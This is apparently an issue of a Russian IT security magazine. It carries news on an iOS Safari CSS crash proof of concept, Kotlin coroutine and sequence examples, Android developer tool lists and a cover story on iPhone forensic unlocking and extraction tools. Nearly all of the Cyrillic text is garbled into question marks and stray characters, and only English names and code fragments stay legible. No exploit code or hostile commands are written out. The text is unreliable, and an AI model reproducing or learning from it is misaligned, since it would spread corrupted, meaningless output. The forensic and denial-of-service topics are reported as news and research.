?????�???�??�??爄Phone燲S�爄Phone燲S燤ax.�????�???�?�???�?�?????�?�???�??�?????�
???�??????�??�???燗pple��????�??�???�??????�????�??�??,��?????�???�?�?�?????
????�??????��??�??�??�?�???�??????�?????�????,�??��?????�??�?????�?.
??�??�?????�??�?????�???�???�???�?�????� 5000�????�??�??????.�????�?�??�??
??????�???�?� ?????�?????� ???� ?????�?,� ???�?� ???????�??� ?� ???�??�???� ???�??� ?� ????�
??????�??�??�??�???�?????�??.
??�????�??� ???�?????� ?????�????� ?????�??,� ???�???�????�??� ??� ????�?????�??� ???�??�??
???�????� Apple,� ?????�?� ?� 2� ????� ??� ????�????� ?� ???�????�??� ????�???� 2017� ????� ?� ????�
??????�????�0�????�??.
?� ???�??� ?????� ???�?� ????�?� ???�??� ?????�????�??� ?????�?� ????�?� ????20� ?????�????�??
?????�??�????�??�?????�??�?�0�0�??�????�(33�??�????�??�??).
CSS�??????????
IPHONE
?� ????� ???� ????�??????� proof?of?concept� ???�??�?� ???� ????�???� ?� ????�?
WebKit,� ?� ???�???�?� ??????�?????� ???�??�??� Safari.� ???�?� ???�????� HTML?
????�???,� ?????�????� ???�????�??� CSS????,� iOS� �???�?粻 ?� ???????�????�
????.
???� ???�??�??�??� ????�???� ??????�???�?� CSS???????� backdrop??lter,
???????� ???�???�???� ??� ???�??�??� DIV????�??�??� ??� ????�???.� Backdrop?
?lter��???�?????�?�????�???�??�??燙SS,�??�??�?????�??�???�?�???�
????� ???� ????�???� ???�?� ?� ????� ??� ??????????� ???�??�??.� ?????�??� ????�
?????� ???�???� ???????� ?????�??,� ?� ???� ???�?� ???�???�??� ??????�??� ????�
?????�????.
????�????�????� ????� ???�??� ?� ?????�??� ?????�??� ???????� ???�????�??
?� ??????�??????� ???�?� ?????� (Sabri� Haddouche),� ???????� ?� ????�????
????�???.�????�???�???�???�??????��??�?�???�???�???�?�?� PoC?????�
???�?,� ?� ???�?� ???????� ??�????�???�??�??� ???�?,� ???�???�??� ?� ????????�
?????� ????�??�?.� ?� ??????�??�?� ??� ???�??� ??� ???�?� ???�????� ?� ????�??
???????�????� ?� ??????�??�?� UI� ???� ??� ???�???�???� kernel� panic� ?� ????� ????�
?????��?????.
??�??�???�???� ???�?� ???�??� ???�????�??� ????�???� ???� ??????�??�??
????�???��??�????.
???�???�????�??�??�???�?,�??�??�??�?????�?�?????�?�???�?爄OS,
??�??�?�????�??�?????�??????�??�??�???�?爉acOS.�?�??�??�?????�
????�???,� ?� ???????� ????� (????�?� HTML� ?� CSS)� ???�?� �?????�??粻 Safari
?�????�??爉acOS�?�??�??�?????��???�??�?�??�?�???�???????�???�
???�??�???�???�?????�????�?.
??�??� ????�????� ???�?� ??� ???�???�??� ???�??� ???�??�?� ???�???�?
??????�????� ???�??�??� ?� ?????�????� JavaScript.� ????�?� ???�???????� ????
???�??�?�????�???�???�?�??�???,�??�??�???�???�??�???�???�???�???�
??�??????�????�?????�???,燬afari�????�??�??�???�??�????�??�???�???,
?�???�??�???�???�??�?.
???�?� ????????,� ???� ?� ???�?� ??????� ?????,� ???????� ???�??�???� ??????
DoS????�????�?��????�??�??�?,�???�????�??�???�????� ??�????�????�
????� ?� ????� ???�??�?� Firefox.� ???� ??????�?� ???� Mac,� Linux� ?� Windows,� ??� ??
???� Android.� ???�?????� ???� ???�?????� ???�??,� ????�??� Firefox� Developer
?燦ightly.
???���??�??燱ebKit,�????�???�???�??�??�?�???�?�?�??�??�???,
??� ?� ??� ???�???�????� ???�???� ?� ?????.� ?� ???�??� Mac� ?� Linux� ???�??�??�??
????� ???�????� ?� �??????粻 ???�??�?� ???�??�?� ?� ????�????� ????�????�???
????�????� ?� ????� ?� ??????.� ?� ???�??� Windows� ???� ?????�?� ???�???�?� ????.
???�??�??�??� ????�?� ???�????� ??� ????�?� ?� ????�????� ?� ?????� ???�??�??,
???� ?????� ?� �??�?????粻 ???�???�????� ???�???� ?� ?????,� ?� ?� ???�?� ?????�
??????�?�??�??�?�?????牜???�???粻???????�????.
???�??�???�??�??�??????�?????
???燤utagen燗stronomy�???�???�???�???�?�??燫ed燞at燛nterprise燣inux,燙entOS�燚ebian
??�?????�?�???�????�??????�??�??�???燰PNFilter
???�??燞ide�N燬eek�?????�?�??�?????�?????�???�?燗ndroid
???�????燤itsubishi�???�???�????��????�???�???�??�????�??�???�??�???�??
???�??燜irefox燤onitor�??�???�?�??�?????�???�??�??�?�???�??�??�??
???�????�???燗dGuard�??�????�???�????�???�??????�????燾redential爏tuf?ng�??�?
???�?�??�???�??�??�????�?�?燩egasus�??�???���???�??�???
???�???�????�?�??�???�????�?????�?�??�??�????�????�??燤ikroTik
??�??�????�???�????�??�?燾old燽oot�??�???�??�?�??�??�????�??�????�??�?
????�?�??�???�???�???�?????�????�??�????��??�??燱annaCry��???�?燬ony燩ictures
HEADER
???????�?????
????????燯nixoid�燤obile
zobnin@glc.ru
ANDROID
???????????�???????????
?�????�??????????燢OTLIN
????� ?????� ??� ???� ?????� ??� ???????� ?� ????� ????�???,
?� ???????� ??� ??� ??� ??????�?� ?� ?????�??.� ?????�?� ??????�
??????� ???�????� ?????�?????�?� ????�?????�???.� ????,
?� ????� ?????�?:� ????� ?????� ???�??�??�??� ????�?????�?
?�????�???,�?????�?�?????�??�??�???�?????�???�???�
????�??,� Observable?????� ?� ?????�?????�??�??� ??????�
??????� ?� Kotlin,� ???�???�?� ?,� ?????�?� ??,� ???�????� ???�??
???�?????.
?????????????????�??????????�燢OTLIN
Structured燾oncurrency��?????�?????�??�???�?�?燡etBrains��????�???�
??????�?�??�????�?爇otlinx.coroutines�26.0,��??�??�???�?�??�?????�?,
?�?�???�????��??�???��?????�??�??�????�????�???�???�?燢otlin.
????�????�??�???�???�?.�???�??�??,�??��??�???�????�??:
fun爎equestSomeData()爗
牋爈aunch(UI)爗
牋牋牋爑pdateUI(performRequest())
牋爙
}
???�???� ???�???� ?????� ??????�?� ?� ????????� ??????� ???�???�??� (???�????
UI),� ?� ?????� ?????�???� ???�???�???� (suspend)� ???�???� performRequest,
???????�???�?�???????�??????�?????,�?�??�????�???????�????.
???� ??????,� ??� ?� ???� ???� ???�?????�?� ???�??�???�???� ???�?????� ????
???????.� ???,� ????� ??????� ???�???� performRequest� ?????� ????�??� ???�??
?�???�???????,�?�??�??????�???�?,�??�????�?�??�???�??�????�???�
????�??� ???� ?????�??� ???�??� ???�???� ????????�??� ???� ??� ???�?� ???????
?�???�?????�?.
???�??�??�??�?��??�????�?�????�??�???.�?????�?????�?�??�?�(?
???�?)� ????�?????� ???�??� ????� �???????� ???�????�.� ???�????,� ????� ????�
?????� ??????????,� ??� ???????� ??????�???� ???�???� requestSomeData,� ?????
????�??:
class燤yActivity�燗ppCompatActivity(),燙oroutineScope爗
牋�...
}
?�???�?�???�???�???�??�???,�????�??�?�??�??�????�(UI):
fun爎equestSomeData()爗
牋爈aunch爗
牋牋牋爑pdateUI(performRequest())
牋爙
}
???�?� ??????� ????� ???????� ?????� ???�???�???� ?� ?????� ???????� ???�????,
????�????�??�??????????.�??�???�?�???�???????�??�???�?????????,�??
??????�?�????�????�???.
???� ??� ???�???????� ???�?� ??????�?????� ???� ???�??�????� ??????�??
????� ??� ???�?� ???�????.� ???�????,� ???�?????� ???� ???�???�?� ?????�???
???????�??�????�???�???�??????�??????�??�?,��????�??�??�???�?:
suspend爁un爈oadAndCombine(name1:燬tring,爊ame2:燬tring):營mage爗�
牋爒al燿eferred1�燼sync爗爈oadImage(name1)爙
牋爒al燿eferred2�燼sync爗爈oadImage(name2)爙
牋爎eturn燾ombineImages(deferred1.await(),燿eferred2.await())
}
??�???� ?� ????�?,� ??� ????� ????�???.� ???,� ????� ?????� ?????�???� ??????�?,
???????�??� ???� ???�????� ??� ???????� ???� ??????�?????�??�??�???.� ?� ???,
????� ???�????� ????�?� ????�??????� ?????�????� ?????�???� ???�??� ?????�
???????�??�??�??�??�?????�?,�???�??�??�??�?�??�?.
??�??:
suspend爁un爈oadAndCombine(name1:燬tring,爊ame2:燬tring):營mage�
牋燾oroutineScope爗�
牋牋牋爒al燿eferred1�燼sync爗爈oadImage(name1)爙
牋牋牋爒al燿eferred2�燼sync爗爈oadImage(name2)爙
牋牋牋燾ombineImages(deferred1.await(),燿eferred2.await())
牋爙
????????�??????????????????燢OTLIN
Benchmarking� Kotlin� Sequences� ?� ???�?� ???????�??� ??� Kotlin� 1.2.70� ???�??
????�??????�??�??�??�???????,�??�??�?�??�????�?�?????�???�???�?
???�????�?????� ???�?????� (??� ??� ????�?,� ???�????)� ?� ???�?????�???�??�?
(sequence)� ?????� ??� ????�?????� ????�??�??� (Call� chain� on� collection� should
be� converted� into� Sequence).� ??� ?????� ???� ???�?� ?� ??� ???�????� ??� ??????�
??????�??�??�????�??��???�????
???�????�??� ?????�???�?燢otlin�2.70�??????�??��??,�??�????�???�
?????�??�??�????�????�???�?�??�?????�??�???�?????�????�??�???????
???�????�???�??�?�??�??.
?� ??????� ???� ???�??� ?????�?,� ??????� ???� ???�?????�???�??�?� ???� ???
?� ????� ???�???�?� ???� ????�????� ???�????� ????�??�?� ???�?????.� ???� ????�
????�?�???�???�?�?�???�???,�??�????�?�??,�??�????�??�????,�??�lter
?爉ap,�??�????�??��???�??,�??�????�?�??�???�????�???�?.�?�???
????��?????,��??�??��????�??�????.
????�??�??�??�??�???�???�??�?�???�??.�???�????�??�??:
list.filter爗爐rue爙.map爗爄t爙.filter爗爐rue爙.map爗爄t爙
?�??,�?????�?????�??�????�??��??�?????�???�??�?:
list.asSequence()
牋�.filter爗爐rue爙.map爗爄t爙.filter爗爐rue爙.map爗爄t爙
牋�.toList()
?�??�??�???�?�?��??�??�???�????�?�???�????��??�??�???�??�???�
???�??�?.
??�???�???,�??�?�????�?,�??�?�??�???�?.�????�???,�??�?????�????�
???�?�???�??�??�??�???????�??�???�??��??�???�?????�??�?�?�?????�
???� ????�??� ?� ?????�???�?� ???�???�???� ????�??� ??� ?????� ????�??.� ???
???� ?????� ????�??�?,� ????� ????????� ?� ???� ??????�??� ?????�??,� ???????�
?????�????�??�????�????,�??�???�??�???�?�??�?.
????,� ????�?,� ???� ????�???,� ?� ???????� ???�?????�???�??�?� ????�???�?
?�????�???�??�???�??:�?????� find�� first.�??�???�??�??�?????,�??
?????��??�??�??�?????�???�??�??�???�??�???�???�??�?�???,�??�??�??
???�???�??�??,�?�??�??�???�?��??�??�???�??.
??�???�???�??�?
7�????�???????????�???????????
Lucky� 7� new� tools� and� plugins� for� Android� developers� &� designers� ?� ???�????
??�???�??�??�??�??�??�??.
1.� adb-enhanced� ?� ???????????�??� ???� ADB,� ?????�???�?� ???�????�
????� ???� ???�?????�?.� ???�???�?,� ???�????,� ????�???� Doze� (?????� ?????�
?????�???�??):
adbe燿oze爋n
??�??�???�?????�?�??�??�?�?????�??�????:
adbe爉obile?data爋ff
?�??�??�??�??.
2.� deep-clean� ?� ??????,� ???�?????� ???� ???�??�??� ???�?,� ???????�
?????�??� ???� ????�?� ???�???�??.� ?????� ???�?????�?,� ????� ???�???�??
??�???????�??�???�?�?????�???.
3.� Android-drawable-preview-plugin� ?� ???�??� Android� Studio,� ???????�
??????�?????�???�??????��??�?燚rawable.
4.燗ndroid營nput��??�??燗ndroid燬tudio,�??�???�???�??�??�??�???
?????��??�????.
5.燽undletool� ?� ???�????�??� ???�???� Google� ???� ??????� ?� Android� App
Bundle,�????�??�????�??�??�?�??�???�??燗ndroid燬tudio�2.
6.� GradientDrawableTuner� ?� ???�???�??� ???� ??????�??� ?� ????�????�
?????燚rawable.
7.燙olorBox��??�??�???�??�??�???�??�??.
??????燚rawable
???�??????�?????????????????????�?????????�?
KOTLIN
Writing� an� Android� NES� Emulator� ?� Performance� optimizations� ?� ??????�??
??????,� ?????� ???????� ???�??�???�?,� ???� ???�????� ???�????� NES� ??� Kotlin
(ktnes)��????�??�?�?�??�?�????.
1.�?� ???�?� ????????� ?????�??� ???�???� (JNI)� ?� ????????� ???�?� ???�???�?.
?????� ????�??????�?� ???�????�?� ?� ?????�????�?� ???�??� JNI???????
?????�????�???�?�????�???�??.
2.�?�??????� ??????� ??????,� ?????�?� ??� ???�?� ???�?� ????�???,� ?� ????�?
????�???�?� ??� ???�????� ???�????� ?� ????????� ???�?.� ???�?� ?????� ?� ????,
???� ???�???� ?????� ????� ???�???� ????�?,� ???�????� ???� ???�???� ??� ????�
??????��??�??��???�??�??�????�??�??�??�??�???�?營terator.
3.�??�?� ????????� ?� ???�??????� ???�?� ???????,� ???�???� ???�???� ?� ????�
???????� ???�?????�???�????� ???????� ???�???� ?� ?????�??� ???�??????�
????�??�??.
???�????????�??燢OTLIN
What?s爄n爕our燣arder:燣ibraries爁or燢otlin燗ndroid燿evelopment��??�??�??�??
???�?????,��???�??��???????�?燢otlin????�????�????.
1.� Kovenant� ?� ???�????�?� ????�???�???� ????�????�???�??� ???� Kotlin.
??�???,�????�????�??�????燩romise:
task爗
牋�//爏ome�(long爎unning)爋peration,爋r爅ust:
牋��}爐hen爗�
牋爄�>�"result:�$i"牋�
}爏uccess爗�
牋爉sg�>爌rintln(msg)
}
2.� Picasso� ?� ??????� ?????�???� ???�????�?� ???� ???�????,� ????�??�?
?� ??????� ????�??????.� ???�???�?� ???�???� ???� ???� ???�????� ?� ???????
?????�???�?�???:
Picasso.get().load(url).resize(50,�).centerCrop().into(imageView)
3.� Anko� ?� ???�????�?,� ????�?????� ???�????�?� ???�???�??� ??� ???�?
Kotlin.� ???�?� ??????� ???�????�?� ????�??� ???�???� ???� ??????� ????�????
??�???�?,�???�???��???燚SL,�??�???�???�???�????�?????�????????
???�?��???:
verticalLayout爗
牋爒al爊ame�爀ditText()
牋燽utton("Say燞ello")爗
牋牋牋爋nClick爗爐oast("Hello,�${name.text}!")爙
牋爙
}
4.� Fuel� ?� ???????� ???�????�?,� ??????�?????� ???�??� ???� ????�??�?
????�??,�???�?�??�???�????�??�??�??�??�?????�??�??????.
5.燜orge��???�??��?????�??????�??�??燡SON,�??�??????�??�????�
???燜uel.
6.燫esult��??�????�?,�??�???�???�??�???�?�??�???�??�??�????
???�??� ?????.� ???�????,� Result.Success� ?????� ?????�???� ???�????,� ????
???�???�???�???�?�??�???�?��??�???�??�????,燫esult.Failure���??�??
????�?.
OBSERVABLE-????�燢OTLIN
Hassle?free爈isteners爓ith燨bservable��?????��??�???�??�?燢oltin�??�???�
????�?� Observable� property,� ???????� ???�???�?� ?????�???� ???� ?� ??????
??????�??�??�??�??�????�???.
??� ???�?� ???�???,� ?????� ???� ???�?,� ????� ????�????�????� ???� Android
??� ???�??� ????:� ???� ????�????� ??????� ??� ???�?� ?????� ????�???� View.
?�???�??�??�????�??:
class燘ook爗
牋爒ar爐itle:燬tring燽y爋bservable("untitled")爗燺,爋ldValue,�
newValue�>
牋牋牋�//�???�??�????
牋爙
}
???�???�????�??�????�??�?�????�???�?�???�??�(?????�??�?????�???�
???,�?).
?� Observable� ????� ????�?????� ???� ???�???�?� Vetoable.� ?� ????�??� ??� Ob?
servable� Vetoable� ?????�???�?� ??� ???�?,� ?� ??� ????�?????� ???�????� ?� ?????
???�?????�???� ????�?????� ??????� ???�????,� ????� ???�??� ???�??� false.� ????�
???:
class燘ook爗
牋爒ar爐itle:燬tring燽y爒etoable("untitled")爗燺,爋ldValue,爊ewValue
?>
牋牋牋�!newValue.isEmpty()
牋爙
}
??????????
? Awesome?Android?Persistence� ?� ???�??� ???�?????� ?� ????�???�??,� ?????�
?????�??�??�??�??�????�??�??�?�??�??
? Cockpit��????�??????��??�???�??�??�??�???,�??�???�???�?�???
????�???�??????�?�???????�??
? Tink� ?� ????�??� ???�????�?� Google� ???� ?????�????� ???�?????�?� ???�???�
???�?��??????�???�??�???????
? PatternLockView� ?� ?????� ???� ???�?� ???�????�???� ???�?,� ???�????�??
????�?�??�????�?燗ndroid?
? WiseFy��???�??�??�????�???�???�??????�??�??????燱i?Fi?
? AndroidWM� ?� ???�????�?� ???� ?????�?� ????�??????� ?� ???????� ???????
???�???
? CheckableChipView��????�???????��??�?�??�???�??燝oogle營/O�18?
? dresscode��??�????�?�??�?????�??�???�????�?�??�???�???
? StateProgressBar��???�??�???��???????�??�??�??�?????
? Android� LoadX� ?� ???�???????�??????� Kotlin,� ????�???�???� ????�????
???�????�?????�?????燰iew?
? PowerMenu��???�??��?????�??????�??�????�?�??�??�????爌op?up?
?????
? InboxRecyclerView��??�???�???�??�??��??�?�??�???�??營nbox?
? PixelShot��???�??�??�????�?�??�??�??????�?????燰iew��????
? Covert� ?� ???�????�?� ???� ???�????� swipe� actions� (???�????,� ??????�???
????�??�??�??�?��??�???)��???�??燫ecyclerView?
? download?manager� ?� ???�????�?� ???� ???????�??� ???�???�???� ???�?????�
??,�???�???�??�?�????�????�?�??�???�??�??�??
? AppListManager��??�????�?�??�?????�??�???�??�???�??�?????�???�
????�??��???????�??.
COVERSTORY
????�?????
???????�?�????????
??????????????�???????
�????????�
aoleg@voicecallcentral.com
??? ????????
IPHONE
?????????�?�????
???�???????�??????
?�?????�????????�營OS
?�???�?????�?�??�????�??�??�??��??,�??�??�???�??
?� iPhone� ?� ???�???�??�????�??� ??????�????.� ??� ????�??,
???�???�?�????�?�???�???�?????爄OS�??�??�??�??��??
???�??�?�?????�??�?��??�??�??�???.�?�??�??�???�?
???�???�?�??�??�??�?�??�??�?,�?�????�?�??�????�??
???????��??�???�???�???�???�??�??�?????�???�???.
13� ???????� ???�???� ????�?� ????????� ??�???�?� ?� ?????�?� ?????�???�??
??????�??� ????�???�?� ???� ????�?� iPhone,� ???????� ?????�?� ?????� ???�??
iPhone� ???�?� ??� ??????� ?????.� ??� ???????� ?� ????� ??� ????,� ???� ?????� ???�?
????�???????�????�????�??�???�??,�?�???�???�???�??�??.
??�??�?�??�??�????�?????�??�?�?????�?�???�??�????�????:牜?????�
???�???燙ellebrite�??�???�?爄Phone�??�??�?�???�?�????,��????�???�
???� ???�??� ???�???� ????�????� ???�???�?.� MagiCube� ????�???�???� ???� ??
iPhone�?�?????�????,�??�???�??�???�????�?????�?�?�?????�??�????�
???�???�??� ???�??� ??� ???�??�??�??,� ???� ?????�????� 80?90%� ????�??�??
???????�??�.
?� ?????�????�????�?� ??????�?� ?????� ???�???�?� ???�??�????,� ???� ???�?
????�?�????�????爄Phone��??????�?�???�??????�??�?�?????�??????
???�??�??�??.� ???� ??� ???� ??� ???�??� ???�????.� ???�??� ?� ????,� ???� Mag?
iCube� ?� ???�??????� ???�???� ???�??,� ?� ??????�??� ??????�???� ???�???�???
???�??� ???�????.� iPhone� ????� ?????�??� ??� ?????,� ?� ??????�???� ????�?
???� ???????�???� iOS� 10.0?11.1.2� (??� ????� ??� ????� ??� ????????�??�?� ????�
??� 2� ?????�?� 2017� ????).� ?????� ???� ???�???�???� ??????� (?� ????�?????�?)
???� ????�???� (???�??�???� ??????�??� ?� GrayKey� ???� Cellebrite)� ???� ????�
?????�?.� ?� ???� ???�?� ???�?,� ???�??�???�??� ???????,� ???�?� ???�??�???� ???
?�????�??�?�??�???�?��????�???�??????�??.
???�????� ??� ???,� ???????� ?????�???� ??� ???�?� ????�??.� �??�?????�?�
??� SecurityLab,� ??� ???�????�???� ??� ???�?????� ????�?� ??� ???�???�?????,
??� ????� ???�???� ????�?,� ??�??:� �????�???�??� ???????� ???????� ????�???�?
???�?????�??�??�???��??????�?�.牜??�??�??�?????�??,�??�???�?�???�
??????� ???????� iPhone� ???�???�?� MagiCube� ???�???�?� ?????�?� ??????
?????�.
???� ??,� ?� ???�?� ???�??,� ???�???�???� ???�?� ??� ????�???� iPhone
7� ???� 8� ??� ??????� ??????� ???�???�???�?� ??� ???????� iDC?4501� (?� ???�?
??� MagiCube,� ???????� ????�???� ???�?� ????� ???�?????�??� ???�???� ???�??)
???�??�????�??�??????燙ellebrite�燝rayshift?�??????,�??�?�???????�???�
??�???�???爄Phone?�??�???�?�????�???�?,�??�?�???�?�??????�?????�
????�??� ???????,� ???� ?� ???�?� ???� ??????�?� ?� ???� ??????� ?� ???� 99%� ???�???,
???�?�??�????�?�????�???�?��??????.
???�???????
????�?�??�?????�?�???????�??�??�爄Phone,�????�??�????�?,�??��??
?????�???�???�??�?�??�???.�?,� ?�??�???�??�?�??�??????,��??�??�?
?� ????�?� ??????�??,� ?� ???????� ??� ???�???�?� ???�?????� ???�???� ????�?
??????�??.� ??� ???� ?????� ?????� ?????� ???�??� ???�????.� ?????� ??� ???�?????�
??????�??�????��?????�??�??�??�???�?�?????�??�?�??�???�?????�??
???????�?�?�??�??�???�???�?,��???�??????�?��????�?�??�???�???�
???�????��?�??�?�?????�??�??�?????��?????�????
??,� ?????� ???�??� ???????� ??� ??????� ??????�???� ?� ????�??�?????� ??� ???
???�??� iOS� (???????,� ????�?,� ???�?� ???� ??????� ?� ?,� ???????� ???�??,� ???�?:
??????� ??� ????,� ???� ????� ???� ????�??).� ??� ????� iPhone� ????�?� ???�??�??
??????��??�?�????�???�??�???爄OS�????�???????�?��????�?�??�???�
???� ???�?????,� ?� ????�?� ??� ???�?� ?????� ????????� ?????� ???�?????� ????
???????��??�??�??�??.
???� ??????� ?????� ??????�??�?:� ??� ?????� ???�???�?????� ?????�?????�?
??????�??� iPhone,� ???�???�??�??� 64????�????�?� ???�??�?????,� ??� ????
??????� iPhone� 5S,� ???� ???�??� iPhone� 6/6s/7/8/Plus� ?� ???????� ????�??� ?
iPhone燲.��??�?�??�??�???�?�??�?????�???�???�???�?�???�(??�?????�
????�?� ???�??� ??????�??� ?� ???�??,� ????� ?� ????� ????� ???�??� ?� ????�??� ????�
?????燙ellebrite).
??�????�??�?�??�??�????�??
Apple� ?????� ??????�?????� ???�?????�?� ????�??� ???�??????,� ??????�???
????�??�??� ???�?????�????� ??????,� ??� ????????� ????�?????�??,� ???????
�?????� ????�???�,� ??� ????�?� ???�?.� ????� ??� iPhone� ??� ????�??�??� ???� ????�
?????�?,� ???????� ??� ????� ???�??� ?� ????� ???�????�??.� ??????� ???�?� ??� ??
?????�?????�????,��??????�?????�???��?????�???????.�???�???,�???�
????�??�??�????�??�???�??�??�?:�?�?????�????�0�????�??�??�???�
???�????�?�???�????.�??�??�??�?�??�???�??
??????�??,� ???�??�?� ???????� ?� ?????�??�?,� ????�???� ???????�??� ?????�
?????��??�??�????�???�????.�??�??�?�??�?�?????�?????�???爄Tunes
(????�???????�?�??�?????�?�????�?��??�???�????�??�??�??�???�??),
??�??�?????�?�???�?????�???�?.
??�????�??�?�?????�?�????�???�?????
??�???�??�???�???�???��??�??�??�???�????�???�????!
??�??� ????�??�?????� ??????� ??� ??????� ????� ?� ???,� ???� ?????�??� ?????
???????�??� ?� ?????�???� ????�?� iOS� ???�???�?� ????� ???�?,� ???�?� ?????�
????????� ??????� ??????� ??� ????�??�????.� ?� ?????� ???�???� ???� ???�??????
??????�???�?� ???�???�??� ???� ???�???� ??????�???� ????.� ???�?� ????�?????
??� ?????� ?????� ?????�???� ????� ???????� ???�?� ?????�???� ?????,� ????�??
�??�?????粻 ???�??,� ?????� ?????�?????� ????� ??� ???????.� ??� ????�???�
????� ?� ??� ????????� ???�??� ?� ???????�???� ???�???�?� keychain,� ??� ????
??� ????� ???????� ????�?????�?,� ???�????�??� ?� ???�??�?� Safari� ?� ???�??
?????�????��??�??�??�??�???�???.
?� ???,� ????� ??????� ??� ?????�???� ?????� ????�??�??� ?� ??� ???� ??� ???�???
??????�???�?�??�????,�??????�?????�???�???,�?�??�??�??�??????�
???,� ??????�???� ??� ???�??� ???�???� iOS� (8.x?10.x),� ?????�???�??� ????�??� ?
???????.� ?� ????� ???� iOS� 8?10.1� ???�????� ???�?� ????� ???�???�??� (???�?
?????� ???????� ?� ?????�?� ??� GPU),� ??� ???????� ?� iOS� 10.2� ???????� ???�?
??�???�??:�??�????�?????�?�?�??�???�?�??�?�??????��????�?�???
???�?????�??????�??�???�??�????�???�???�???�?.�???�??,�??�?�???�
????????�??????�?????,�??????�???�???????�??�????,�??�????,��???�
???�?� Chrome� ??� ???�?????�??� ?????�??�?,� ???�?????� ??� ???� ???�????
?� ??????�?????� ???� ?� ?????�??� ??????�?� ???�???� ???� ???�?.� (??� ????????:
?????�???�??�??�???�??�???�???�??�??�?��???�??�???�?�???.)
?� ???� ??????�???� ??� iOS� 11� ?� 12� ???�???�?� ???�????� ????�???� ??????
??�????�???�????�??�?�?�??�??�?爄Phone.�??�???�???�??�?�??????�
???� ???�???�?,� ?????� ???� ???????� ????�?� ?� ??????� Wi?Fi,� ??� ???� ???�???�??
?�?�??�??,��??�?�?????�???�?????�?�爇eychain�???�??�?�?�??�?.�???
????� ???� ???�????�?,� ???� ???�???�???� ????�?,� ??� ????� ??� ??� ????�??�??,� ??
?????�?????�?�????��???�??�???�??�??�??.
???�???�?�?????�?�????�???�????�?????�??�????�?燫eset燗ll燬et?
tings.�??�???�??�???�?????�??�??�???�?,�???�??�?????�?�????,
??�?�??�????�??�??
???� ???� ???�?� ???????� ??� ??????�???� ?� ???�??� ?????� ???�????�??� ??� ????�
?????� ?� ????�????�?,� ?????�????� ???�??�?� ???�?� ???????� ???�?????
?????�??�??:
? ???�??�??????�??�?�?????�????
? ??�????�??� ?� ????�?????�?,� ????�??� ???????� Apple,� ??????� ??????�?
(????�???燬IM????�?�?????�?)?
? ???�??�???�??�?????�??�???�???
? ??�?????�?:�???��?????
? ???�?�??�???�??�(???�????,�??????�?爄Books)?
? ???�?????� ???�???� crash� logs� (?� ???,� ?� ???�???�?,� ???�?� ????�?????
???????�??� ?� ???�???�???,� ???????� ????� ????�???�???� ????�????�
??????�?�?�??�???)?
? ???� ???�???�??� ?????�???� ?????� ?� ???�???� iTunes,� ?� ???????� ???????
???�??� ???�??� (??� ????)� ???�???�??� ?� ??????� ????�?????�?� ??� ????�???�
???�????,�??�??,�??�???�????�?????�??��??�??�??�??.
???�??�?�??�??�????�????????�??�???�??,�??????�????�???
???????�??�?爄Phone
????�?????��??????�??�????�????�??�??
??�?�???�?�??�???�??????�??,�????�??�??�?�?????,�??�???�?�???�
????�????�???�?????��????�????�??�????�???�????,�???�???�???�?
?????.� ???�??� jailbreak� ?????�??�?� ???� ????� ???�??� iOS� 8.x,� 9.x,� 10.0?11.2.1
(?????�??�??�?�??�???�???�?).�??爄OS�.3.x�???�????燛lectra,�??????
??????�?��?�????�??�??�??�???爄OS�.
???� ????�??�?� ????�????�?� ???�?� ???�???�?????�?� ?????� ??� ???�????
???�?????� ???�??� (Meridian,� Electra� ?� ???� ?????)� ?� ???�??�??�??� Cydia� Im?
pactor.�????�??�?�??�??�????�??�??�???�???�?��??�????,�???�????
???�???�??� ???� ????�??�?� ???�????�?� ????�????�?� ???� ??????� ???�??�???�
???�????�???�??�????�?�(?????�?,�??爄OS�?11.2.1�??�???��?�?�???�
???????,� ???????�??� ?� ???????,� ????�??� ???????� ????????� ???,� ?????�
??????�?�??�?????�?燝oogle).�??�??�???�??�??�??�???�????�?????:
???�?�?????�??????�???�?????,�??�?爄Phone�??�??�??�???�??��??�??
?�????�??�??�(????�??�???�??????�??�???�????).
???�?????� ???� ?� ?????�????� ????�?� ???�????� ???�???.� ???� ???�?
?�??�??�??�??�??�????�?�??????��?????�??�??�??�?�??�???�?燬SH
?�????�???�?爄Phone�????�?�??????��????�???�??�??�???�??�???�???
????�??� ???�?????� ???�??� ????� ?� PATH� ????� ???�???�?????�?� ???????� ????�
???�??.� ??????�????� ?????� ????� TAR,� ???????�??� ?????� ???�???�??� ??????�
?????.
??�?�?�???�??�?�???�??�???爄OS�.3.x,�??�???�???�?????�??�??�?
????�??,��??�????�????�??????�??�??�???�?????�?�??�????爄OS燜oren?
sic燭oolkit�??�??�??�????�??.
??�?� ??� ??� iPhone� ??????�?� iOS� 11.4� ???� ?????� ???�??� ???�??,� ??� ?????
???�??�?�???�???�?�???�??????�??�??�?��???�???�??�??�??�?????�
?????� ??� ??????�?� ???�??�??� ?????�????� ???�??????.� ?� ????� ???�??� ????
???�????� ?????�???� ?????� (?� ???�?� ?????�????� ?????� ???�??� ???�???�??,
?????�????��???�???�??��?????�??�??�?????�??�????).
??�???�???,��????�???�????�?????�?�?�??.��??�???,��??�?�???�
????�???� ???????�?� ?� Telegram,� ?� ???� ??� ??????�?� ????�????� ????�???�??
???�?,� ?� ????�??� ???�??� ???�?????�????� ????�?????�?� ?????�?????�?
???????�?.�??�?�????�????�???�????��??�??�?????.
?� ???,� ????� ????�???????� ??� ???�??� ???�????� ?� ????????� ????�????� ???
???�????�??
??�?�????�??�?????�???�?????�?�????�???�?????�?????�??�???,�???
??????� ???�???�??� ??????�?� ???????�????� ??� ??????�???�?� ???� ????� ???
?????� ??????�?????� Apple� Pay.� ?� ?????� ???� ????�???:� ???� ???� ???�????�?
????????,�??�??.�??�??��???�???.
??�?????�?�??�??�????�??
??�?� ??� ???�??� ???� ???�????�?,� ??� ??????� ???�???� ?� ??????�????� ?????�
?????�?�??�???�?.�???�???��??�??�???�???���????�?????.�???????
??????�?燗pple營D,�???�???�??�??�?�爄Cloud��????�???爄Cloud爈ock,�????�
????� ???� ???�?????� ????�?????�??� ?????�?????�??,� ???�?????� ??????
??� ??????�???� keychain� ?� ????�?� ?� ???????� ??� ????�?.� ???� ??????�??� ?� iOS
11��????�????��???�???�?????�?�????�???�????,�???�?????�????�
????�??��??�????�???�??�?�?�?????�?�??�??,�??�???�?????�???�??
???????��??�???�??.
?爄OS���????�????�??�??�????�?,�???�?�???�??�??,�??�???�???
?� ???� ????�??�?� ???????�??� ????�????� ?� ?????�??�??.� ???� ????�?????
???�??�??�??�????�???�????�(?????�????�???��??�??�???�???��???�
?????,�????�???爈ockdown),�??��??�???�??�?�???�????�?.
